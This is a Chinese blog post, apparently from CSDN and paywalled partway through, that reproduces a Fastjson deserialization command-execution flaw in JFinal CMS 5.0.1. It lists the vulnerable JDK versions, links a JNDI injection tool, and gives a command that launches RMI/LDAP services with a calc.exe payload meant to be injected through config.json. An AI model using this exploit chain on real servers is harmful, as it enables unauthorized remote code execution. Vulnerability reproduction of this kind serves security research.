Jfinal CMS命令注入漏洞

最新推荐文章于 2025-09-28 20:39:46 发布
原创 最新推荐文章于 2025-09-28 20:39:46 发布 · 2.3k 阅读 · 1 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#java #安全 #php

本文详细介绍了JFinal CMS5.0.1中存在的命令执行漏洞，该漏洞利用了Fastjson的反序列化机制。通过特定的JDK版本和配置，攻击者可以触发命令执行，如在Kali Linux上运行工具启动RMI和LDAP服务，利用payload替换config.json内容，最终在后台管理中上传payload文件，访问特定URL导致计算器弹出。漏洞涉及JFinal CMS、Fastjson和Ueditor等多个组件。

漏洞环境

jfinal_cms 5.0.1 中存在命令执行漏洞

JDK 版本要求：

  • 基于 RMI<=6u141、7u131、8u121 使用的 JDK 版本
  • 基于 LDAP<=6u211、7u201、8u191 使用的 JDK 版本。

jfinal_cms版本：5.0.1
fastjson版本：1.2.28

漏洞复用

测试中使用的JDK版本：JDK8u101

在 kali 上运行该工具，启动 rmi 和 ldap 服务
https://github.com/feihong-cs/JNDIExploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe"

2022-11-17T12:30:22.png
替换payload中的rmi或ldap地址，然后保存到config.json

{
最低0.47元/天 解锁文章
Jfinal_cms——SQL注入漏洞
2302_76803532的博客
01-25 606
访问路由地址/system/department，orderBy最终的值其实是来自BaseForm类中orderColumn或者orderAsc的值，这个由我们给哪个参数传值决定，如果给orderColumn传值，那么最终的sql语句将变为。getOrderBy方法的意思是如果orderColumn 传入有值，就返回orderColumn的值，如果没有值，就返回orderAsc的值。从请求中获取值，也就是说form为空不为空其实是可控的，但是为空不为空返回的结果都是一个form对象。点击排序后抓到数据包。
Jfinal包下wrapMultipartRequest存在任意文件上传绕过 泛微云桥意外躺枪！—— 泛微云桥ebridge addResume 任意文件上传漏洞研究分析 CVE-2024-0001
shelter1234567的博客
05-08 897
这篇文章为去年八月份对泛微云桥ebridge addResume 文件上传漏洞做的审计分析文章，思路供大家参考，不是最新哈。
任意文件读取与删除漏洞：渗透测试中的“隐形钥匙”
最新发布
Bruce_xiaowei的博客
09-28 693
本文系统分析了任意文件读取与删除漏洞的危害及利用方式。这类漏洞常被低估，但实际能成为攻击链中的关键跳板，包括读取数据库配置、系统密码文件、应用配置等敏感信息。文章提供了Windows和Linux系统的敏感文件路径清单，通过JFinal框架案例展示了漏洞代码模式，并拓展了多种实战利用思路。最后给出了防御建议：路径校验、权限控制、白名单机制等。这些漏洞绝非鸡肋，而是渗透测试中的重要突破口。
JFinalcms代码审计
蚁景网安学院
10-14 772
JFinalCms是开源免费的JAVA企业网站开发建设管理系统，极速开发，动态添加字段，自定义标签，动态创建数据库表并crud数据，数据库备份、还原，动态添加站点(多站点功能)，一键生成模板代码。
【漏洞复现】JAVA Public CMS 后台RCE漏洞
qq_18193739的博客
11-01 7136
最新版本的漏洞修复了,将CmsFileUtils文件中的代码，修改为漏洞修复前代码。
JFinalcms 5.0.0代码审计（1）
weixin_44513407的博客
06-28 1189
JFinalcms代码审计
Jfinal cms前台评论XSS漏洞分析
weixin_30535043的博客
05-14 652
Jfinal cms采用Java语言开发，官方代码仓库为：https://gitee.com/jflyfox/jfinal_cms。 Jfinal cms前台评论处存在XSS漏洞，以v4.6版本为例，下面是简单的漏洞分析。 首先来看如何利用此漏洞。 第一步：填写payload 在新闻评论的地方填写如下payload：abcd<img src="/xswv.png" onerror="...
DedeCms V5.6 parse_str函数引起的sql注入漏洞
今天也要加油鸭
04-13 1355
这个是去年跟着红日代码审计复现的织梦cms有parse_str()函数引起的漏洞，特来记录一下。 一、下载 下载地址：http://www.dedecms/upimg/soft/2010/DedeCmsV5.6-UTF8-Final.tar.gz 二、安装 ...
49、Java Web 漏洞利用与 AWD 竞赛准备全解析
nept的博客
09-07 116
本文全面解析了Java Web漏洞利用与AWD竞赛准备的关键要点。内容涵盖Java代码审计中的OGNL表达式注入、JNDI注入原理与实践，以及反序列化利用工具如ysoserial的使用。同时，详细介绍了AWD竞赛的准备工作、漏洞利用与防御技巧，包括自动化脚本开发、流量分析与混淆策略。旨在帮助网络安全爱好者提升实战能力，为竞赛和实际工作提供技术支撑。
漏洞复现-Ruoyi若依系列
热门推荐
aming小老弟
05-02 2万+
官方漏洞历史文档。
[原创]K8飞刀Final
K8哥哥
04-15 5938
法律声明: 工具仅供安全研究或授权渗透，非法用途后果自负。工具: K8飞刀Final作者: K8哥哥博客: https://www.cnblogs.com/k8gege简介: 一款多功能网络安全渗透测试工具(Hacker Swiss Army Knife) 1.漏洞利用： 已集成20个主流WEB、CMS程序,累计115个EXP（如Drupal、Joomla、...
Node.js版本升级影响全解析：若依CMS前端兼容性考量
![Node.js版本升级影响全解析：若依CMS前端兼容性考量]...随后，文章深入探讨了若依CMS前端升级的兼容性策略，重点讨论了兼容性考量的重要性、测试方法以及解决方案。本文还通过案例分析，详细讨论了N
jfinal对xss漏洞的处理
huangbaokang的博客
12-11 904
在我们的jfinal配置类当中，配置自定义Handler public void configHandler(Handlers handler) { //handler.add(我们自定义handler的实例) handler.add(new XssHandler()); } 新建XssHandler类，继承com.jfinal.handler.Handler public class XssHandler extends Handler{ @Overr
jfinal框架中防跨站脚本XSS攻击。
志全的博客
07-27 1216
跨站脚本攻击（XSS） Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中，当正常用户访问该页面时，则可导致嵌入的恶意脚本代码的执行，从而达到恶意攻击用户的目的。 问题解决： 对于Jfinal轻量级框架解决方式从框架根本从特殊字符转义入手。 1、处理器配置初始化 public void configHandler(Handlers me) { XssHandler xssHan...
jfinal xss过滤以及url注入漏洞的问题
qq_41182238的博客
04-29 1396
这里参考jfinal社区的xss处理方式这里简单记录一下。 1.首先:创建XssHandler 代码如下： package com.gdszgl.common.handler; import com.jfinal.handler.Handler; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.Http...
jfinal获取url链接上面传来的string类型的值_SSRF漏洞攻击Redis-从零到获取Shell(脚本+视频)...
weixin_39951018的博客
10-22 1406
！！！文末有视频讲解！！！一、本节课程需要的主机Kali2.0Windows Server2003二、本节课需要的工具Redisncwiresharktcpdumppython2.7docker三、文章目录0x01 Redis基础0x02 Redis入侵，反弹shell0x03 Redis认证攻击0x04 写ssh-keygen公钥，使用私钥登陆0x05 写webshell0x01 Redis基础...
jfinal 检测到目标URL存在http host头攻击漏洞的解决方法
qq_41182238的博客
04-30 889
记录编写handler 来对此漏洞进行修复 编写handler 来对此漏洞进行修复 注：JFinal的 Handler是 AOP + 责任链 模式的一个变种，JFinal对action及interceptor处理自身也是一个Handler名叫ActionHandler，可见其功能之强大。平时开发的时候一般不需要使用，当Action与Interceptor还不够用的时候可以考虑Handler上场。另...
jfinal 1.8 事务不生效问题。
a290450134的博客
06-15 1085
本次使用事务方式：Db.tx(new IAtom() { public boolean run() throws SQLException { try { //用户基本信息 User.dao.insertInfo(basicInfoMap); //资产信息 Ohter.dao.insertInfo(otherMapList); ...
Jfinal处理XSS漏洞
u013808315的专栏
04-25 2156
创建BaseController继承Jfinal自带的Controller，并供所有业务controller继承。BaseController中重写Controller的getPara(String)方法/** * 重写getpara，处理XSS漏洞 */ @Override public String getPara(String name) { // TODO Au...
JEECMS 2.3.2 Final版CMS程序源代码发布
资源摘要信息:"JEECMS 2.3.2 Final 是一款基于Java语言开发的CMS系统程序。CMS（内容管理系统）是一种允许非技术人员通过简单操作来管理网站内容的软件系统。JEECMS作为一款成熟的CMS系统，广泛应用于企业站点、个人...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

用砖头敲代码

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值